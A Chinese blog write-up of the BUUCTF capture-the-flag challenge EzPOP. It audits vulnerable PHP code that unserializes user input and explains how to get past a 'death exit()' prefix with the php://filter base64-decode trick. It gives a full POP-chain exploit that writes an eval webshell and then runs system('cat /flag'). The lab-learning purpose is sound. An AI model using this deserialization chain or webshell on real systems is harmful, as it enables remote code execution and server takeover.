[BUUCTF][EIS 2019]EzPOP

[EIS 2019]EzPOP

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

代码审计

Class A

__construct方法,接收了三个参数并赋值。

cleanContents方法:

array_filp()反转数组中所有的键以及它们关联的值

array_intersect_key()函数用于比较两个(或更多个)数组的键名 ,并返回交集。

这里的$object可控

getForStorage()方法:

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

调用了cleanContents函数,并将返回值进行json编码。$cache和$complete可控。

save方法:

public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

调用了getForStorage函数,且$store调用了set方法。注意,我们发现该方法是在B类中,我们只需要令A::$store赋值为new B()就能调用B::set(),也就完成了两个类的联系。

析构函数:

public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }

只需要让A::$autosave赋值为0,就可以调用save函数

Class B

getExpireTime函数:返回 int参数,相当于是格式化。

getCacheKey函数:

拼接字符串。这里的$options是一个数组,可以控制,$name也是一个可以被控制的变量。经过观察,这里的$name来自于B::set()传入

set($name, $value, $expire = null): bool

serialize函数:传入的data参数将会格式化为string类型,且$serialize参数可控。

set函数:

public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

$filename调用了getCacheKey函数,所以$filename最终的值是和options[‘prefix’]拼接而成,然后根据filename创建目录。

注意:

$data = $this->serialize($value);

$data经过serialize函数处理,这个serialize函数是B类自己定义的,这里可控,可以传入一个函数方法

接下来是数据压缩,我们并不需要,令options['data_compress']=false即可绕过

重点来了:文件写入

死亡exit()绕过
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

我们发现写入文件的数据data是拼接在exit()之后的,也就是死亡exit()。那么P神对此有过讲解:

谈一谈php://filter的妙用@PHITHON

由于file_put_contents函数是支持伪协议的,我们可以使用php://filter流的base64-decode方法,将$data解码,利用php base64_decode函数特性去除“死亡exit”。

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

这里的sprintf是12位数字,传入的$expire=0即可

php://filter/write=convert.base64-decode来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,最终得到:

php//000000000000exit(待执行命令的base64)

由于base64算法解码时是4个byte一组,我们需要补三个字符来使其正常解码。

构造POP链

构造文件名:

$filename->options['prefix'].$name
$name->A::$key

构造payload:

$data->$value->A::$contents->$complete和$cleaned

POP chain:

file_put_contents();
B::set(); + B::getExpireTime(); + B::getCacheKey(); + B::serialize();
A::save() + A::getForStorage() + A::cleanContents();
A::__destruct();

最终EXP:

这里就直接使用Ho1aAs师傅的

<?php
class A{
    protected $key;
    protected $store;
    protected $expire;

    public function __construct(){
    	// 进入A::save()
        $this->autosave = 0;
        // B::set()入口
        $this->store = new B();
        // 初始赋值
        $this->cache = array();
        // 写入webshell的文件名
        $this->key = '1.php';
		// payload
        $this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
    }
}
class B{
    public $options = array();
    public function __construct(){
        // 绕过死亡exit使用filter伪协议
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        // 绕过数据压缩
        $this->options['data_compress'] = 0;
        // 执行一次base64解码,消除前面的两次编码
        $this->options['serialize'] = 'base64_decode';
        // 补齐sprintf
        $this->options['expire'] = 0;
    }
}
echo urlencode(serialize(new A()));

获取flag

传参:?src=&data=payload

POST:1=system("cat /flag");

参考文章:

https://blog.csdn.net/Xxy605/article/details/120641208

https://blog.csdn.net/gd_9988/article/details/106111902

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值